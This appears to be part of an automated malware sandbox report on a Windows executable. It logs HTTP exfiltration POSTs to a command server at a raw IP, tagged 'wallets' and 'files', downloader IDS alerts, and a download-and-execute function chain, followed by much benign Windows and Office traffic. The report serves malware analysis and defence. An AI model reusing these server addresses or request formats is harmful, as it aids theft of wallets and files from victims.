Source: global traffic	HTTP traffic detected: POST /7bbacc20a3bd2eb5.php HTTP/1.1Content-Type: multipart/form-data; boundary=----IECFBKFHCAEHJJKEGDGHHost: 92.255.57.88Content-Length: 267Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 49 45 43 46 42 4b 46 48 43 41 45 48 4a 4a 4b 45 47 44 47 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 39 35 61 64 65 35 64 38 64 64 63 32 32 34 65 35 35 37 31 31 36 33 32 63 30 64 65 38 64 63 38 38 62 66 39 35 32 64 39 66 64 33 39 62 38 31 30 34 38 35 36 37 65 33 36 36 63 66 34 34 32 35 35 62 36 37 38 36 36 63 30 33 0d 0a 2d 2d 2d 2d 2d 2d 49 45 43 46 42 4b 46 48 43 41 45 48 4a 4a 4b 45 47 44 47 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 61 6c 6c 65 74 73 0d 0a 2d 2d 2d 2d 2d 2d 49 45 43 46 42 4b 46 48 43 41 45 48 4a 4a 4b 45 47 44 47 48 2d 2d 0d 0a Data Ascii: ------IECFBKFHCAEHJJKEGDGHContent-Disposition: form-data; name="token"95ade5d8ddc224e55711632c0de8dc88bf952d9fd39b81048567e366cf44255b67866c03------IECFBKFHCAEHJJKEGDGHContent-Disposition: form-data; name="message"wallets------IECFBKFHCAEHJJKEGDGH--
Source: global traffic	HTTP traffic detected: POST /7bbacc20a3bd2eb5.php HTTP/1.1Content-Type: multipart/form-data; boundary=----BAAFCAFCBKFHJJJKKFHIHost: 92.255.57.88Content-Length: 265Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 42 41 41 46 43 41 46 43 42 4b 46 48 4a 4a 4a 4b 4b 46 48 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 39 35 61 64 65 35 64 38 64 64 63 32 32 34 65 35 35 37 31 31 36 33 32 63 30 64 65 38 64 63 38 38 62 66 39 35 32 64 39 66 64 33 39 62 38 31 30 34 38 35 36 37 65 33 36 36 63 66 34 34 32 35 35 62 36 37 38 36 36 63 30 33 0d 0a 2d 2d 2d 2d 2d 2d 42 41 41 46 43 41 46 43 42 4b 46 48 4a 4a 4a 4b 4b 46 48 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 69 6c 65 73 0d 0a 2d 2d 2d 2d 2d 2d 42 41 41 46 43 41 46 43 42 4b 46 48 4a 4a 4a 4b 4b 46 48 49 2d 2d 0d 0a Data Ascii: ------BAAFCAFCBKFHJJJKKFHIContent-Disposition: form-data; name="token"95ade5d8ddc224e55711632c0de8dc88bf952d9fd39b81048567e366cf44255b67866c03------BAAFCAFCBKFHJJJKKFHIContent-Disposition: form-data; name="message"files------BAAFCAFCBKFHJJJKKFHI--

Source: Joe Sandbox View	IP Address: 176.113.115.37 176.113.115.37
Source: Joe Sandbox View	IP Address: 172.67.179.207 172.67.179.207

Source: Joe Sandbox View

ASN Name: TELSPRU TELSPRU

Source: Joe Sandbox View	JA3 fingerprint: 28a2c9bd18a11de089ef85a160da29e4
Source: Joe Sandbox View	JA3 fingerprint: 37f463bf4616ecd445d4a1937da06e19

Source: Network traffic	Suricata IDS: 2803274 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UH : 192.168.2.4:49731 -> 176.113.115.37:80
Source: Network traffic	Suricata IDS: 2803304 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern HCa : 192.168.2.4:49734 -> 92.255.57.88:80
Source: Network traffic	Suricata IDS: 2803304 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern HCa : 192.168.2.4:49753 -> 92.255.57.88:80
Source: Network traffic	Suricata IDS: 2803274 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UH : 192.168.2.4:49730 -> 172.67.179.207:443

Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.32
Source: unknown	TCP traffic detected without corresponding DNS query: 176.113.115.37
Source: unknown	TCP traffic detected without corresponding DNS query: 176.113.115.37
Source: unknown	TCP traffic detected without corresponding DNS query: 176.113.115.37
Source: unknown	TCP traffic detected without corresponding DNS query: 176.113.115.37
Source: unknown	TCP traffic detected without corresponding DNS query: 176.113.115.37
Source: unknown	TCP traffic detected without corresponding DNS query: 176.113.115.37
Source: unknown	TCP traffic detected without corresponding DNS query: 176.113.115.37
Source: unknown	TCP traffic detected without corresponding DNS query: 176.113.115.37
Source: unknown	TCP traffic detected without corresponding DNS query: 176.113.115.37
Source: unknown	TCP traffic detected without corresponding DNS query: 176.113.115.37
Source: unknown	TCP traffic detected without corresponding DNS query: 176.113.115.37
Source: unknown	TCP traffic detected without corresponding DNS query: 176.113.115.37
Source: unknown	TCP traffic detected without corresponding DNS query: 176.113.115.37
Source: unknown	TCP traffic detected without corresponding DNS query: 176.113.115.37
Source: unknown	TCP traffic detected without corresponding DNS query: 176.113.115.37
Source: unknown	TCP traffic detected without corresponding DNS query: 176.113.115.37
Source: unknown	TCP traffic detected without corresponding DNS query: 176.113.115.37
Source: unknown	TCP traffic detected without corresponding DNS query: 176.113.115.37
Source: unknown	TCP traffic detected without corresponding DNS query: 176.113.115.37
Source: unknown	TCP traffic detected without corresponding DNS query: 176.113.115.37
Source: unknown	TCP traffic detected without corresponding DNS query: 176.113.115.37
Source: unknown	TCP traffic detected without corresponding DNS query: 176.113.115.37
Source: unknown	TCP traffic detected without corresponding DNS query: 176.113.115.37
Source: unknown	TCP traffic detected without corresponding DNS query: 176.113.115.37
Source: unknown	TCP traffic detected without corresponding DNS query: 176.113.115.37
Source: unknown	TCP traffic detected without corresponding DNS query: 176.113.115.37
Source: unknown	TCP traffic detected without corresponding DNS query: 176.113.115.37
Source: unknown	TCP traffic detected without corresponding DNS query: 176.113.115.37
Source: unknown	TCP traffic detected without corresponding DNS query: 176.113.115.37
Source: unknown	TCP traffic detected without corresponding DNS query: 176.113.115.37
Source: unknown	TCP traffic detected without corresponding DNS query: 176.113.115.37
Source: unknown	TCP traffic detected without corresponding DNS query: 176.113.115.37
Source: unknown	TCP traffic detected without corresponding DNS query: 176.113.115.37
Source: unknown	TCP traffic detected without corresponding DNS query: 176.113.115.37
Source: unknown	TCP traffic detected without corresponding DNS query: 176.113.115.37
Source: unknown	TCP traffic detected without corresponding DNS query: 176.113.115.37
Source: unknown	TCP traffic detected without corresponding DNS query: 176.113.115.37
Source: unknown	TCP traffic detected without corresponding DNS query: 176.113.115.37
Source: unknown	TCP traffic detected without corresponding DNS query: 176.113.115.37
Source: unknown	TCP traffic detected without corresponding DNS query: 176.113.115.37
Source: unknown	TCP traffic detected without corresponding DNS query: 176.113.115.37
Source: unknown	TCP traffic detected without corresponding DNS query: 176.113.115.37
Source: unknown	TCP traffic detected without corresponding DNS query: 176.113.115.37
Source: unknown	TCP traffic detected without corresponding DNS query: 176.113.115.37
Source: unknown	TCP traffic detected without corresponding DNS query: 176.113.115.37
Source: unknown	TCP traffic detected without corresponding DNS query: 176.113.115.37
Source: unknown	TCP traffic detected without corresponding DNS query: 176.113.115.37
Source: unknown	TCP traffic detected without corresponding DNS query: 176.113.115.37
Source: unknown	TCP traffic detected without corresponding DNS query: 176.113.115.37

Source: C:\Users\user\Desktop\IeccNv7PP6.exe

Code function: 0_2_00402A14 InternetOpenW,InternetOpenUrlW,GetTempPathW,GetTempFileNameW,CreateFileW,InternetReadFile,WriteFile,CloseHandle,CloseHandle,ShellExecuteExW,WaitForSingleObject,CloseHandle,InternetCloseHandle,InternetCloseHandle,InternetCloseHandle,

0_2_00402A14

Source: global traffic	HTTP traffic detected: GET /track_prt.php?sub=0&cc=DE HTTP/1.1User-Agent: ShareScreenHost: post-to-me.com
Source: global traffic	HTTP traffic detected: GET /SLS/%7B522D76A4-93E1-47F8-B8CE-07C937AD1A1E%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=5AVXMrbghZ2Uex9&MD=N26PxHme HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33Host: slscr.update.microsoft.com
Source: global traffic	HTTP traffic detected: GET /complete/search?client=chrome-omni&gs_ri=chrome-ext-ansg&xssi=t&q=&oit=0&oft=1&pgcl=20&gs_rn=42&sugkey=AIzaSyBOti4mM-6x9WDnZIjIeyEU21OpBXqWBgw HTTP/1.1Host: www.google.comConnection: keep-aliveX-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiWocsBCJz+zAEIhaDNAQjcvc0BCLnKzQEIotHNAQiK080BCJ7WzQEIp9jNAQj5wNQVGPbJzQEYutLNARjrjaUXSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /async/newtab_ogb?hl=en-US&async=fixed:0 HTTP/1.1Host: www.google.comConnection: keep-aliveX-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiWocsBCJz+zAEIhaDNAQjcvc0BCLnKzQEIotHNAQiK080BCJ7WzQEIp9jNAQj5wNQVGPbJzQEYutLNARjrjaUXSec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /async/newtab_promos HTTP/1.1Host: www.google.comConnection: keep-aliveSec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /fs/windows/config.json HTTP/1.1Connection: Keep-AliveAccept: /Accept-Encoding: identityIf-Unmodified-Since: Tue, 16 May 2017 22:58:00 GMTRange: bytes=0-2147483646User-Agent: Microsoft BITS/7.8Host: fs.microsoft.com
Source: global traffic	HTTP traffic detected: GET /rules/other-Win32-v19.bundle HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /SLS/%7BE7A50285-D08D-499D-9FF8-180FDC2332BC%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=5AVXMrbghZ2Uex9&MD=N26PxHme HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33Host: slscr.update.microsoft.com
Source: global traffic	HTTP traffic detected: GET /rules/rule120609v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120600v4s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120608v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120402v21s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule224902v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120612v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120610v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120613v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120611v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120614v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120615v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120616v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120617v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120618v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120619v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120620v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120622v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120623v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120621v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120624v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120628v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120627v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120625v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120626v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120629v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120630v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120633v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120631v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120632v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120634v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120635v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120637v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120638v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120636v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120639v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120643v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120640v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120641v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120642v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120644v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120645v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120647v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120646v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120648v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120649v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120651v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120650v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120652v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120653v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120654v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120656v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120657v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120658v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120659v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120661v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120660v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120662v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120655v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120663v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120665v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120664v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120666v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120667v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120668v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120670v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120671v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120669v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120673v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120672v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120674v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120675v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120676v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120677v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
